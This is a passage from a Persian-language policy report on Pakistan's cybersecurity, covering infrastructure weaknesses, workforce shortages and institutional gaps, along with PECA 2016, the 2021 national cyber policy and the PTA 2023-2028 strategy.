
) منابع امن‌تر

 y گسترش همکاری میان بخش‌های دولتی و خصوصی در زمینه
امنیت سایبری، به‌ویژه در زمینه تاسیسات تولید بومی

وابستگی به
فناوری‌های خارجی

راهکارهای پیشنهادی متخصصان حوزه امنیت سایبری چالش‌ها
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آسیب‌پــذیری  بــه  توجــه  بــا  می‌شــود،  مشــاهده   ۵ اطلاع‌نگاشــت  در  کــه  همانــطور 

زیرساخت‌های حیاتی پاکستان لازم است در این کشور درک عمیق‌تری از میزان تهدیدهایی 

که متوجه زیرســاخت‌های حســاس اســت، شــکل بگیرد و تلاش‌های جدی برای تضمین 

امنیــت زیرســاخت‌های متصــل به شــبکه انجام شــود ]75[. به‌عنوان مثال، ایــن کشور در 

بخش مالی که یکی از این زیرساخت‌های موردتهدید سایبری است نیازمند ایجاد یک تیم 

کشِِــن فراد1  در انگلســتان و تیم 
َاَ
پاســخ فوری رایانه‌ای ویژه برای بخش مالی مشــابه مرکز 

پاسخ فوری رایانه‌ای ویژه بخش مالی )CERT-FIN(2 در هند است تا از موسسات بانکی در 

برابر حملات سایبری محافظت کند ]76[.

، پاکســتان از کمبــود نیروی متخصص ســایبری رنج می‌بــرد و برای حل این  ازطرف‌دیگــر

مشکل باید نسبت به سرمایه‌گذاری قابل‌توجه در این حوزه و همچنین تدوین راهبردهای 

لازم به‌منــظور حفظ نخبــگان و نیروی کار ماهر )مانند حقوق رقابتی، فرصت‌های تحقیقاتی 

و قدردانــی از دســتاوردهای ملــی( اقــدام کنــد ]۸۶ و ۷۴[. این کشور همچنیــن باید آموزش 

امنیــت ســایبری را بــه رشــته‌ای حرفــه‌ای در مقطــع دانشــگاه تبدیــل کنــد و یــک موسســه 

امنیت اطلاعات مشابه با دپارتمان آموزش و آگاهی امنیت اطلاعات هند )ISEA(3 تاسیس 

کند ]76[. همچنین، پیشــنهاد می‌شــود پاکســتان آکادمی‌هایی بــرای آموزش متخصصان 

ســایبری راه‌انــدازی کنــد کــه بــا برنامه‌هــای نظامــی کشور ارتبــاط داشــته ‌باشــند، چراکه این 

آکادمی‌ها می‌توانند متخصصان ماهری در زمینه سایبری تربیت کنند که هم قادر به دفاع 

، توانــایی انجام حملات  از کــشور در برابــر تهدیدهــای ســایبری باشــند و هــم در صورت نیاز

سایبری مقابله‌ای را داشته ‌باشند. درمجموع، انجام چنین اقداماتی می‌تواند نقش حیاتی 

1.  Action Fraud
2.  Computer Emergency Response Team for the Financial Sector
3.  Information Security Education and Awareness Department
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در پرورش نیروی کار متخصــص در زمینــه امنیــت ســایبری ایفــا کند و بی‌توجهــی به اجرای 

این اقدامات می‌تواند به از دست رفتن بنیان قدرت سایبری این کشور منجر شود ]۸۶[.

باتوجه‌بــه این‌کــه یکــی از ضعف‌هــای پاکســتان نبــود نهــادی مشــخص و جامــع بــرای 

حفاظــت ســایبری اســت، ضروری اســت کــه دولــت پاکســتان مشــابه آنچــه کــه در زمینــه 

جنگ‌هــای متعــارف و غیردیجیتال با ایجاد فرماندهی‌های یکپارچه انجام داده‌اســت، تمام 

منابــع و زیرســاخت‌های ســایبری- چه در بخــش نظامی و چه غیرنظامــی- را تحت یک نهاد 

واحــد بــه نــام فرماندهی ملی ســایبری1 ادغــام کند. این فرماندهــی واحد باید ایجاد شــود تا 

آسیب‌پذیری‌های امنیتی را شناسایی کند، از حملات آینده جلوگیری کند و تمام جنبه‌های 

امنیــت ســایبری را از سیاســت‌گذاری تــا اجــرا یکپارچه کنــد ]76[. اجرای چنین پیشــنهادی 

می‌تواند به تسریع فرآیندهای تصمیم‌گیری، ایجاد شفافیت در سلسله‌مراتب فرماندهی و 

تخصیص کارآمدتر منابع کمک کند ]86[.

به‌منــظور حــل مشــکل نبــود قوانیــن کافــی و ناکارآمــد بــودن چارچوب حقوقــی امنیت 

ســایبری، پاکســتان بایــد یــک راهبــرد منســجم بــرای امنیــت ســایبری تدویــن کنــد کــه بــه 

ارزیــابی نقاط‌ضعــف‌ موجود، اجرای اقدامات اصلاحی و نظارت بر پیشــرفت بپردازد و به‌طور 

مستمر با تهدیدهای جدید سازگار شود. برخلاف شبکه‌های مخابراتی قدیمی، زیرساخت 

غیرمتمرکز اینترنت نیازمند چارچوب‌های سیاستی مختلفی است تا خدمات دیجیتال امن 

و قابل‌اعتمــاد را تضمیــن کنــد ]76[. در زمینــه قانون‌گــذاری نیز این کــشور نیازمند تدوین 

مــقررات جامع‌تری اســت تــا ســازمان‌ها و نهادها بتوانند از ســامانه‌های امنیت ســایبری و 

داده‌هــای خــود در برابــر حــملات محافظت کنند. در ایــن کشور باید قوانینی وجود داشــته 

‌باشد که به‌موجب آن‌ها، تمامی ادارات دولتی، سازمان‌های فعال در بخش انرژی و سلامت 

1.  National Cyber Command
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و موسســات مالــی ناگزیــر شــوند تمــام ســامانه‌ها و اطلاعات دیجیتــال خود را ایمن‌ســازی 

کنند تا از نفوذپذیری آن‌ها جلوگیری شود. این اقدام‌ها ضروری‌ هستند، زیرا امروزه تمامی 

ســازمان‌ها به اینترنت متصل‌ هســتند و روزبه‌روز وابســتگی بیشــتری به هوش‌ مصنوعی 

پیدا می‌کنند و همین موضوع راه نفوذ را برای هکرها آســان‌تر می‌کند. متخصصان امنیت 

ســایبری نیز بر این باورند که ســازمان‌ها تا زمانی که فشــار قانونی وجود نداشته‌باشــد، به 

امنیت سایبری توجه کافی نمی‌کنند ]75[.

ایــن کــشور برای کاهش وابســتگی خود به فناوری‌هــای خارجی که یکــی از دلایل اصلی 

ناامنی فضای سایبری آن به‌شمار می‌رود نیز باید نسبت به سرمایه‌گذاری در تولید داخلی 

امــن و تلاش بــرای یافتن مسیرهای تامین جایگزین )به‌عنــوان مثال، جایگزینی فناوری‌ها 

( مبادرت ورزد. گســترش همکاری  و قطعــات بــا نمونه‌هــای داخلی و یا خرید از منابع امن‌تر

میــان بخش‌های دولتی و خصوصی در زمینه امنیت ســایبری به‌ویژه در زمینه تاسیســات 

تولید بومی نیز از پیشنهادهای حائزاهمیت برای حل این مسئله است ]۸۶ و ۷۵[.

در ایــن بخــش، چالش‌هــا و توصیه‌هــای مرتبــط بــا امنیــت ســایبری داخلــی پاکســتان 

موردبررســی قرار گرفت. همان‌طور که مشــاهده شــد، آسیب‌پذیری زیرساخت‎های حیاتی، 

کمبــود نیروی متخصــص، ظرفیــت نهــادی ناکافــی، چارچوب حقوقــی ناکارآمد و وابســتگی 

بــه فناوری‎هــای خارجــی از مهم‌ترین مشــکلات این حوزه هســتند کــه با اتخــاذ راهبردهای 

مشخص می‌توان بر آن‌ها غلبه کرد. بااین‌حال، باید توجه داشت که ابعاد امنیت سایبری 

پاکســتان صرفــا محدود به داخل کشور نیســت و بُُعد خارجــی و بین‌المللی آن نیز اهمیت 

و  به‌همین‌دلیــل، در بخــش مربوط‌بــه دیپلماســی ســایبری، چالش‌هــا  فزاینــده‌ای دارد. 

فرصت‌های پاکســتان در عرصــه بین‌المللی و نیز توصیه‌های سیاســتی برای تقویت نقش 

این کشور در حکمرانی سایبری جهانی نیز بررسی خواهدشد.
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۴.۳.  اقدامات پاکستان در زمینه تقویت امنیت سایبری

ـــا مجموعـــه‌ای از تهدیدهـــای امنیـــت ســـایبری مواجـــه اســـت کـــه به‌ســـرعت  پاکســـتان ب

ــان  ــر مجرمـ ــذیری ایـــن کـــشور در برابـ ــع، آسیب‌پـ ــتند. درواقـ ــر و تـــحول‌ هسـ ــال تغییـ در حـ

ـــا گســـترش اینترنـــت اشیـــا افزایـــش یافته‌اســـت، زیـــرا ایـــن دســـتگاه‌ها  ســـایبری همزمـــان ب

اغلـــب از تدابیـــر امنیتـــی کافـــی بـــرخوردار نیســـتند. تهدیدهـــای درون‌ســـازمانی- ماننـــد 

ـــا افـــراد مورداعتمـــاد در ســـازمان‌ها از دسترســـی خـــود سوءاســـتفاده  زمانـــی کـــه کارمنـــدان ی

ـــت  ـــن، ماهی ـــد. بنابرای ـــاد می‌کنن ـــشور ایج ـــن ک ـــرای ای ـــی ب ـــرات قابل‌توجه ـــز خط ـــد- نی می‌کنن

رو‌به‌تـــحول ایـــن تهدیدهـــای ســـایبری نیازمنـــد انطبـــاق مـــداوم تدابیـــر امنیتـــی اســـت. 

افزایـــش پیچیدگـــی فعالیت‌هـــای جاسوســـی ســـایبری تحت‌حمایـــت دولت‌هـــا و کارزارهـــای 

باج‌افـــزاری نیـــز ضرورت تقویـــت تـــاب‌آوری در برابـــر تهدیدهـــای ســـایبری را بیش‌ازپیـــش 

برجســـته می‌ســـازند ]7[. دراین‌راســـتا، پاکســـتان اقدامـــات گســـترده‌ای به‌منـــظور مقابلـــه بـــا 

ایـــن تهدیدهـــا انجـــام داده‌‌اســـت کـــه درادامـــه بـــه برخـــی از مهم‌تریـــن نمونه‌هـــای آن‌ بـــه‌طور 

خلاصـــه پرداختـــه می‌شـــود.

تدویــن قوانیــن و سیاســت‌های ملــی امنیــت ســایبری: به‌منــظور مقابلــه بــا تهدیدهــای 

دیجیتالــی و بهبــود وضعیــت امنیــت ســایبری ملــی لازم اســت توانمندی‌هــای ســایبری 

و  دیجیتــال  امنیــت  اســتانداردهای  اجــرای  هماهنــگ،  ســازوکار  ایجــاد  ازطریــق  کــشور 

تدویــن چارچــوب قانونــی تقویــت شــود. درهمین‌راســتا، پاکســتان مجموعــه‌ای از قوانیــن، 

سیاســت‌ها و راهبردهــای امنیــت ســایبری را تدویــن و اجــرایی کرده‌اســت کــه هریــک از 

آن‌هــا- از قــانون پیشــگیری از جرایــم الکترونیــک PECA( ۲۰۱۶(1 گرفتــه تــا سیاســت ملــی 

تقویــت  در  مهمــی  نقــش   -۲۰۲۸2-۲۰۲۳ ســایبری  امنیــت  راهبــرد  و   ۲۰۲۱ ســایبری  امنیــت 

1.  Prevention of Electronic Crime Act 2016
2.  Cyber Security Strategy 2023-2028
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ایفــا  کــشور  دیجیتــال  تــاب‌آوری  ارتقــای  و  حیاتــی  زیرســاخت‌های  اطلاعــات،  از  حفاظــت 

می‌کننــد. در بخــش 4. 1 توضیحــات مختــصری دربــاره هریــک از ایــن قوانیــن و سیاســت‌ها 

ارائــه می‌شــود.

تاسیــس نهادهــایی در حــوزه امنیــت ســایبری: دولت پاکســتان با تاسیــس نهادهایی 

نظیر مرکز ملی پاســخ به جرایم ســایبری )NR3C(1، مرکز ملی امنیت ســایبری )NCCS(، تیم 

ملی پاســخ فوری ســایبری پاکســتان )PkCERT(2 و ســازمان ملی تحقیقات جرایم ســایبری 

)NCCIA(3 در تلاش اســت تــا بــه‌طور موثر با تهدیدهای ســایبری مقابله کند. رسمی‌ســازی 

معمــاری امنیــت ســایبری باعــث شده‌اســت کــه ایــن کــشور در میــان کشورهای تــراز اول 

در شــاخص جهانــی امنیــت ســایبری اتحادیــه بین‌المللــی مخابرات قــرار گیــرد. بااین‌حال، 

نهادهــای ســایبری پاکســتان در مقایســه با کشور رقیــب آن هند نوپاتر هســتند. به‌عنوان 

مثال، تیم پاسخ فوری سایبری پاکستان در مارس 2024 تشکیل شده‌است و پژوهشگران 

پاکســتانی معتقدنــد کــه حکمرانــی امنیت ســایبری کــشور هــنوز درحال‌تکامل اســت و با 

برخــی شــکاف‌های قانونــی و هنجــاری و ظرفیت نهــادی ناکافی مواجه اســت. در بخش 2.4 

توضیحات مختصری درباره هریک از این نهادهای نقش‌آفرین ارائه می‌شود.

پاکســتان منابــع مالــی فزاینــده‌ای بــرای حمایــت از نهادهــای ســایبری و  تامین‌مالــی: 

پروژه‌هــا و ابتکارهــای مرتبــط بــا امنیــت ســایبری در نظــر گرفته‌اســت، به‌طوری‌کــه بیــش از 10 

( بــه پروژه‌هــای مختلــف امنیــت ســایبری  میلیــارد روپیــه پاکســتانی )حــدود 36 میــلیون دلار

تخصیــص داده‌اســت. بااین‌حــال، کــشور رقیــب آن هنــد باتوجه‌بــه بودجــه بیشــتری کــه در 

اختیــار دارد، در ســال 2025 بودجــه ســالانه حــدود 90 میــلیون دلاری بــه پروژه‌هــای امنیــت 

1.  National Response Center for Cyber Crime
2.  National Cyber Emergency Response Team of Pakistan
3.  National Cyber Crime Investigation Agency



76

  امنیت سایبری و دیپلماسی سایبری پاکستان  

ســایبری و همچنیــن بودجــه 29 میــلیون دلاری بــه عملیات‌هــای تیــم پاســخ فوری رایانــه‌ای 

خــود تخصیــص داده‌اســت.

گاهــــــی: ازآنجــــاکـــــه خطـــــای انســـــانی یکــــــی از بزرگ‌تریــــن  ظرفیت‌ســــــازی و افزایــــــش آ

آسیب‌پذیری‌هاست که به جرایم سایبری دامن می‌زند، پاکستان اقدامات متعددی جهت 

، انجام داده‌اســت. به‌عنوان  افزایش ظرفیت و آگاهی کاربران، به‌ویژه گروه‌های آسیب‌پذیر

1 )ســازمان ترویج شــمول  مثــال، بانک مرکزی پاکســتان همکاری خود را با ســازمان کارانداز

مالــی و حمایــت از کارآفرینی( آغاز کرده‌اســت تــا اقدامات فنی مانند اســتانداردهای امنیتی 

برای برنامه‌های تلفن همراه )ازجمله احراز هویت چندمرحله‌ای( را پیاده‌سازی کند. سازمان 

مذکور در کمپین‌های آگاهی ملی برای مقابله با کلاهبرداری‌های برخط نیز فعالیت دارد.

بین‌المللــی  همکاری‌هــای  و  چندجانبه‌گــرایی  از  پاکســتان  بین‌المللــی:  همکاری‌هــای 

چندجانبــه  عرصه‌هــای  در  تاکــنون  و  می‌کنــد  حمایــت  ســایبری  حکمرانــی  زمینــه  در 

مشــارکت داشته‌اســت. بااین‌وجــود، نهادهــای ســایبری پاکســتان نوپــا هســتند و هــنوز 

ســازوکارهای همــکاری بین‌المللــی را بــه‌طور کامــل برقــرار نکرده‌انــد. ازایــن‌رو، ایــن نهادهــا 

بایــد هرچه‌سریع‌تــر چنیــن اقداماتــی را انجــام دهنــد تــا درک بهــتری از چشــم‌انداز تهدیدهــای 

ســایبری جهانــی پیــدا کننــد و ظرفیــت داخلــی خــود را تقویــت بخشــند. در بخش‌هــای 8 

ــا دیگــر  ــه نقــش پاکســتان در مجامــع بین‌المللــی و همکاری‌هــای آن ب و 9 گــزارش حاضــر ب

کشورهــا در ایــن حوزه پرداختــه می‌شــود ]74[.

3. 4. 1.   قوانین و سیاست‌های ملی امنیت سایبری

همانطور که اشــاره‌ شــد، یکی از اقدامات پاکســتان برای مقابله با تهدیدهای سایبری و 

جرایم الکترونیک و ایجاد فضایی امن در حوزه دیجیتال شامل تدوین و اجرای مجموعه‌ای 

1.  Karandaaz
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از قوانین، سیاســت‌ها و راهبردهای امنیت ســایبری است. تاریخچه سیاست‌ها و قوانین 

امنیت سایبری در پاکستان نشان‌دهنده افزایش تدریجی آگاهی نسبت به اهمیت مقابله 

با تهدیدهای سایبری و تضمین امنیت دیجیتال است. پاکستان از اوایل دهه ۲۰۰۰ میلادی 

به توســعه چارچوب امنیت ســایبری خود پرداخت. تصویب آیین‌نامه پیشــگیری از جرایم 

الکترونیــک 1‌2007 یکــی از نقاط‌عطف مهم بود که بعدها با عنوان قانون پیشــگیری از جرایم 

الکترونیک PECA( 2016( تکامل یافت. این کشور با تدوین سیاســت ملی امنیت ســایبری 

۲۰۲۱ نیــز چارچــوب جامعی برای حکمرانی ســایبری، حفاظت از زیرســاخت‌ها و همکاری‌های 

بین‌المللی ترسیم کرد. پاکســتان با تدوین راهبرد امنیت ســایبری 2028-2023 در سال 2023 

گام مهمــی در جهــت اجرای سیاســت ملــی امنیت ســایبری 2021 برداشــت. درادامه، مروری 

بــر ایــن چارچوب‌ها و اهداف و ســازوکارهای اجرایی آن‌ها ارائه می‌شــود تا تصویر روشــنی از 

رویکرد پاکستان در حوزه امنیت سایبری ترسیم شود ]7[.

قانون پیشگیری از جرایم الکترونیک �۲۰۱۶ 

قــانون پیشــگیری از جرایــم الکترونیک پاکســتان قانونی شــاخص در چارچــوب قانونی 

پاکستان است که در آگوست 2016 به‌منظور مقابله با تهدیدهای روبه‌افزایش جرایم سایبری 

و رفتارهای نادرست برخط تصویب شد. به‌طورکلی، جلوگیری از اقدامات غیرمجاز در رابطه 

با سامانه‌های اطلاعاتی و تعیین مجازات برای جرایم مرتبط و همچنین ایجاد سازوکارهایی 

بــرای تحقیق، تعقیب، محاکمه و همــکاری بین‌المللی در این حوزه هدف اصلی این قانون 

بیان شده‌اســت. دامنه شــمول این قانون بسیار گســترده اســت، به‌طوری‌که تمام قلمرو 

پاکســتان را دربرمی‌گیرد. این قانون نه‌تنها در مورد همه شــهروندان پاکستان در هر کجای 

جهان اعمال می‌شــود، بلکه برای هر فرد دیگری که در حال حاضر در پاکســتان حضور دارد 

1.  Prevention of Electronic Crimes Ordinance 2007
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ج از پاکســتان انجام شــود، اگر تحت این قانون  نیز کاربرد دارد. افزون‌برآن، هر عملی که خار

جرم محســوب شــده و بر یک شــخص، دارایی، ســامانه اطلاعاتی یا داده‌ای که در پاکستان 

قرار دارد تاثیر بگذارد، مشمول این قانون خواهدبود.

قــانون پیشــگیری از جرایــم الکترونیــک طیــف وسیعــی از جرایم الکترونیک را پوشــش 

می‌دهــد. در بخــش جرایــم و مجازات‌هــا، مــواردی ماننــد دسترســی غیرمجــاز بــه ســامانه 

یــا داده‌هــای اطلاعاتــی، کــپی یــا انتقــال غیرمجــاز داده‌هــا و اخلال در ســامانه‌های اطلاعاتی 

جرم‌انــگاری شــده‌اند. ایــن قــانون به‌منــظور حفاظت ویژه، جرایــم مرتبط با زیرســاخت‌های 

حیاتــی اطلاعاتی مانند دسترســی، کپی‌برداری یــا اخلال غیرمجاز را بــا مجازات‌های به‌مراتب 

جعــل  ازجملــه  دیجیتــال  مالــی  جرایــم  علاوه‌برایــن،  ساخته‌اســت.  همــراه  ســنگین‌تری 

الکترونیکی و کلاهبرداری الکترونیکی نیز در این قانون تعریف شده‌اند.

ایــن قــانون به‌طورخــاص بــه جرایم مرتبط بــا سوءاســتفاده‌های اجتماعی و سیاســی در 

فضای مجازی نیز توجه دارد و شــامل جرائمی مانند تروریســم ســایبری )که شــامل هدف 

قرار دادن زیرساخت‌های حیاتی برای ایجاد ترس یا نفرت فرقه‌ای است(، ترویج یا تمجید از 

یک جرم )مانند تروریســم(، نفرت‌پراکنی و سوءاســتفاده از هویت می‌شود. همچنین، این 

قانون به شــدت با جرایم علیه افراد )ازجمله جرایم علیه حیثیت یک شــخص، جرایم علیه 

عفت، هرزه‌نگاری کودکان و قلدری سایبری( برخورد می‌کند.

قــانون پیشــگیری از جرایــم الکترونیــک ابزارهــا و اختیــارات لازم بــرای تحقیــق و پیگــرد 

قانونی این جرایم را به مراجع مجری قانون اعطا می‌کند. به‌عنوان مثال، ســازمان مخابرات 

پاکستان )PTA( براساس این قانون این اختیار را دارد که دسترسی به محتوای برخط را در 

مــواردی کــه مغایــر با مصالحــی مانند شــکوه اسلام، امنیت، نظم عمومی یــا اخلاق و عفت 

عمومی باشند، مسدود یا حذف کند ]37[.
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اگرچــه ایــن قــانون به‌عنــوان ابــزار مهمــی بــرای حفاظــت از حریــم خصوصــی دیجیتال و 

امنیت ســایبری عمل می‌کند، اما با انتقاداتی نیز مواجه شده‌اســت و به‌ویژه، نگرانی‌هایی 

ح شده‌اســت.  دربــاره احتمــال سوءاســتفاده و تعادل میان امنیــت و آزادی‌های فردی مطر

بااین‌حــال، قــانون پیشــگیری از جرایــم الکترونیــک نقــش اساســی در شــکل‌دهی رویکرد 

پاکســتان در مقابلــه بــا جرایــم الکترونیکــی دارد و بــه ایجــاد فضــای مجــازی امن‌تــر بــرای 

شهروندان کمک می‌کند ]7[.

سیاست ملی امنیت سایبری )۲۰۲۱(� 

ــاوری  ــات و فن ــط وزارت ارتباط ــولای ۲۰۲۱ توس ــایبری )۲۰۲۱( در ج ــت س ــی امنی ــت مل سیاس

اطلاعــات پاکســتان )MoITT( منتشــر شــد. ایــن سیاســت به‌عنــوان اولیــن سیاســت جامــع 

امنیــت ســایبری کــشور در پاســخ بــه ضرورت کنــترل مزایــای فناوری‌هــای اطلاعــات و ارتباطات 

و انــقلاب صنعتــی چهــارم تدویــن گردیــد. اگرچــه رشــد پاکســتان فرصت‌هــای اقتصــادی، 

معــرض  در  را  اطلاعاتــی  دارایی‌هــای  امــا  داشته‌اســت،  همــراه  بــه  را  اجتماعــی  و  فرهنگــی 

تهدیدهــای ســایبری جدیــد و درحال‌تکامــل قــرار داده‌اســت. پیش‌ازایــن، چارچوب‌هــای 

و  ســایبری  امنیــت  چالش‌هــای  بــا  مقابلــه  بــرای  پاکســتان  در  موجــود  نهــادی  و  قانونــی 

آن فاقــد هماهنگــی ملــی و رویکــردی جامــع بودنــد. بنابرایــن، دولــت  روندهــای نوپدیــد 

تدویــن ایــن سیاســت را با‌توجه‌بــه اهمیــت راهبــردی امنیــت ســایبری در اولویــت قــرار داد. 

به‌طورکلــی، تقویــت قابلیت‌هــای امنیــت ســایبری ملــی ازطریــق توســعه ســازوکارهای ضروری 

و هماهنــگ و پیاده‌ســازی اســتانداردها و مــقررات امنیتــی تحــت یــک چارچــوب سیاســتی و 

قانونــی را می‌تــوان هــدف اصلــی ایــن ســند برشــمرد. ایــن سیاســت به‌عنــوان بنیانــی محکــم 

بــرای ســاخت زیســت‌بوم دیجیتالــی جامــع عمــل می‌کنــد کــه امــکان ارائــه خدمــات، برنامه‌هــا 

و زیرســاخت‌های دیجیتــال ایمــن، قابل‌اعتمــاد و اســتاندارد را فراهــم مــی‌آورد ]77[. گفتنــی 
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اســت ایــن سیاســت هــر ســه ســال یک‌بــار موردبازبینــی قــرار می‌گیــرد تــا بــا نیازهــای نوظــهور 

ــود ]38[. ــگ ش ــایبری هماهن ــای س فض

، دامنـــه و اهـــداف اصلـــی سیاســـت ملـــی امنیـــت ســـایبری: چشـــم‌انداز سیاســـت  چشـــم‌انداز

مـــذکور ایـــن اســـت کـــه زیســـت‌بوم دیجیتالـــی امـــن، پایـــدار و درحال‌توســـعه در سراســـر کـــشور 

ــر حفـــظ محرمانگـــی، یکپارچگـــی و دسترســـی بـــه  ــاد شـــود. ایـــن سیاســـت همچنیـــن بـ ایجـ

دارایی‌هـــای دیجیتـــال تاکیـــد دارد. دامنـــه شـــمول ایـــن سیاســـت بسیـــار گســـترده اســـت و 

کل فضـــای ســـایبری پاکســـتان را دربرمی‌گیـــرد. ایـــن سیاســـت تمامـــی دارایی‌هـــای دیجیتـــال، 

ــا منتقـــل  ــره یـ ــردازش، مدیریـــت، ذخیـ ــی پـ ــی و خصوصـ ــای دولتـ ــه در بخش‌هـ ــایی کـ داده‌هـ

می‌شـــوند، و همچنیـــن سیســـتم‌های اطلاعاتـــی و ارتباطـــی مورداســـتفاده شـــهروندان را 

ح  پوشـــش می‌دهـــد. به‌طورکلـــی، سیاســـت ملـــی امنیـــت ســـایبری اهـــداف متعـــددی بـــه شر

ـــد: ـــال می‌کن ـــر دنب زی

 y ایجاد چارچوب حکمرانی و ساختار نهادی برای زیست‌بوم امن سایبری؛‌

 y  حفاظــت و تقویت تاب‌آوری زیرســاخت‌های اطلاعاتی حیاتی کشــور )ازجمله بخش‌های‌

انــرژی، مخابــرات، مالــی و بهداشــت( ازطریــق الزامــی کــردن اســتانداردها و فرآیندهای 

امنیت ملی؛

 y  ایجــاد چارچوبــی بــرای ممیــزی و پایــش رعایــت الزامــات امنیــت ســایبری در همــه‌

سازمان‌های دولتی و خصوصی؛

 y حفاظت از حریم خصوصی شهروندان در فضای سایبری؛‌

 y توسعه همکاری‌های دولتی- خصوصی در زمینه امنیت سایبری؛‌

 y تقویت تحقیق‌وتوسعه در حوزه امنیت سایبری؛‌

 y تقویت همکاری‌های جهانی در حوزه امنیت سایبری؛ و‌
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 y  گاهــی در زمینــه امنیت ســایبری و پــرورش منابع انســانی و توانمندســازی ‌تقویــت آ

متخصصان در این حوزه.

شایان ذکر است چالش‌ها، خطرات و تهدیدهای متعددی در فضای سایبری براساس 

ایــن سیاســت ملــی شناســایی شــده‌اند کــه برخــی از مهم‌تریــن آن‌هــا در اطلاع‌نگاشــت ۶ 

قابل‌مشاهده است ]77[.

   اطلاع‌نگاشت ۶:      چالش‌ها، خطرات و تهدیدهای فضای سایبری پاکستان ]77[  

مطابــق سیاســت ملــی امنیــت ســایبری 2021 همچنیــن ســاختاری تحت‌عنــوان کمیتــه‌ 

سیاســت‌گذاری حکمرانــی ســایبری )CGPC(1 تشــکیل شده‌اســت کــه مســئولیت تدوین، 

هدایــت و نظــارت کلان بــر سیاســت‌ها و قوانین امنیت ســایبری در ســطح ملــی را برعهده 

دارد. اجــرای ایــن سیاســت‌ها نیز توســط یک نهــاد مرکزی در ســطح فــدرال صورت می‌گیرد 

1.  Cyber Governance Policy Committee

عدم‌توجه به ارزیابی و بهبود چارچوب
امنیت سایبری ملی

کمبود نیروی کار ماهر

کمبود منابع

کمبود هماهنگی بین ‌بخش‌های مختلف

ضعف در استانداردهای اعتبارسنجی

نبود مالکیت در سطح بالا
حملات سایبری به زیرساخت‌های 

حیاتی ملی

وابستگی‌به منابع سخت‌افزاری و 
نرم‌افزاری خارجی

نبود حکمرانی داده‌هاعدم‌اجرای قوانین موجود

تهدیدها چالش‌ها و خطرات
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که با کمک تیم پاســخ فوری ســایبری و مرکز ملی عملیات امنیتی مخابرات )nSOC( وظیفه 

هماهنگی امور را برعهده دارد ]38[. 

راهبرد امنیت سایبری پاکستان �2023-2028 

در پاســخ به تحولات مســتمر تهدیدهای ســایبری و ضرورت حفاظت از زیرساخت‌های 

مخابراتی پاکستان، سازمان مخابرات کشور )PTA( در دسامبر 2023 راهبرد امنیت سایبری 

2028-2023 را معرفی کرد. این راهبرد پنج‌ساله همسو با اهداف موردنظر در سیاست امنیت 

ســایبری ۲۰۲۱ اســت و گامی مهم درراســتای اجرای این سیاســت ملی و همچنین درجهت 

تقویــت امنیــت دیجیتال در بخــش مخابرات کشور به‌شــمار مــی‌رود. این راهبــرد به‌منزله 

طرحی جامع و بلندپروازانه است که چارچوبی برای مدیریت موثر خطرات سایبری، افزایش 

تــاب‌آوری و تقویــت همــکاری در بخــش مخابــرات ارائــه می‌دهــد. شــش رکن اصلــی راهبرد 

امنیــت ســایبری 2028-2023 بــا تمرکز بر تقویت امنیت ســایبری در ســازمان مخابرات و کل 

ح زیر است: بخش مخابرات به شر

 y چارچوب قانونی برای امنیت سایبری؛‌

 y تاب‌آوری سایبری؛‌

 y توانمندسازی و ظرفیت‌سازی؛‌

 y همکاری‌ و مشارکت؛‌‌

 y نظارت پیشگیرانه و پاسخ به حوادث سایبری؛ و‌

 y .آگاهی سایبری برای توسعه فرهنگ ملی‌

رویکــرد اجــرای راهبرد: ســازمان مخابرات پاکســتان رویکردی برای اجرای ایــن راهبرد در 

نظــر گرفته‌‌اســت که متشــکل‌از پنج مولفه کلیــدی ازجمله برنامه‌ریزی راهبردی، مشــارکت 

ذینفعان، توانمندســازی و ظرفیت‌ســازی، بهره‌گیری‌از فناوری و بهبود مســتمر است. پیرو 
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ح اجرایی پنج‌ســاله و جدول زمانی دقیق برای  اتخاذ این رویکرد، ســازمان مخابرات یک طر

پیاده‌ســازی این راهبرد تدوین کرده‌است که شامل اهداف واضح، گام‌های مشخص برای 

تحقق این اهداف و همچنین شــاخص‌های عملکرد برای ســنجش موثر روند پیشــرفت و 

، ســایر نهادهای  ، این ســازمان با تمام دارندگان مجوز نتایج حاصله می‌باشــد. ازطرف‌دیگر

نظارتــی، ســازمان‌های دولتــی و دیگــر ذینفعــان در تعامــل اســت تــا بدین‌ترتیــب بتوانــد از 

حمایت، بازخورد و هماهنگی آن‌ها در برنامه‌های امنیت سایبری برخوردار شود و رویکردی 

شفاف و مشارکتی در مدیریت امنیت سایبری ایجاد نماید.

این سازمان همچنین به‌منظور توانمندسازی و ظرفیت‌سازی قصد دارد سرمایه‌گذاری 

تــا  دهــد  انجــام  ظرفیت‌ســازی  برنامه‌هــای  و  مهارت‌هــا  توســعه  آموزش،  در  گســترده‌ای 

بدین‌ترتیــب بتوانــد قابلیت‌های امنیت ســایبری در بخش مخابــرات را افزایش دهد. این 

اقدامــات بــه ســازمان‌ها و نهادهــای فعــال در زمینــه امنیــت ســایبری امــکان می‌دهنــد تا 

تهدیدهای سایبری را به‌طور موثری مدیریت کنند.

افزون‌بــر ایــن مــوارد، ســازمان مخابــرات همــواره از فناوری‌هــای نوآورانــه ماننــد هوش‌ 

مصنوعی، یادگیری ماشینی و خودکارسازی )اتوماسیون( برای تقویت شناسایی تهدیدها، 

پاســخ به رخدادها و مدیریت ریســک استقبال کرده‌است. ســازمان مخابرات و اپراتورهای 

آن قصد دارند سرمایه‌گذاری بیشتری در این فناوری‌ها انجام دهند و به‌ویژه بر کاربرد آن‌ها 

در افزایــش امنیــت ســایبری و راهکارهای مرتبــط تمرکز کنند تا از تهدیدهــای درحال‌تحول 

پیشــی بگیرند. این ســازمان همچنین ســازوکارهای موجــود برای ارزیــابی، بازبینی و ارتقای 

مســتمر راهبــرد امنیــت ســایبری را تقویــت خواهدکــرد. درواقــع، ایــن ســازمان بــا دریافت 

بــازخورد ذی‌نفعــان و انجــام ارزیابی‌هــای دوره‌ای در تلاش اســت راهبرد‌ها را بــرای مقابله با 

تهدیدهای نوپدید و نیازهای درحال‌تغییر اصلاح ‌کند.
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: راهبــرد امنیــت ســایبری ۲۰۲۳-۲۰۲۸ رویکــردی پیشــگیرانه و جامــع  نتایــج موردانتظــار

بــرای مدیریــت خطرات ســایبری در بخش مخابــرات پاکســتان ارائه می‌دهد. ایــن راهبرد با 

اولویت‌بخشــی بــه ارزیــابی ریســک، رعایت مــقررات، اطلاعات تهدید، پاســخ بــه رخدادها و 

توســعه ظرفیت‌هــا و همکاری مبنایی مســتحکم برای زیرســاخت‌های مخابراتــی تاب‌آور و 

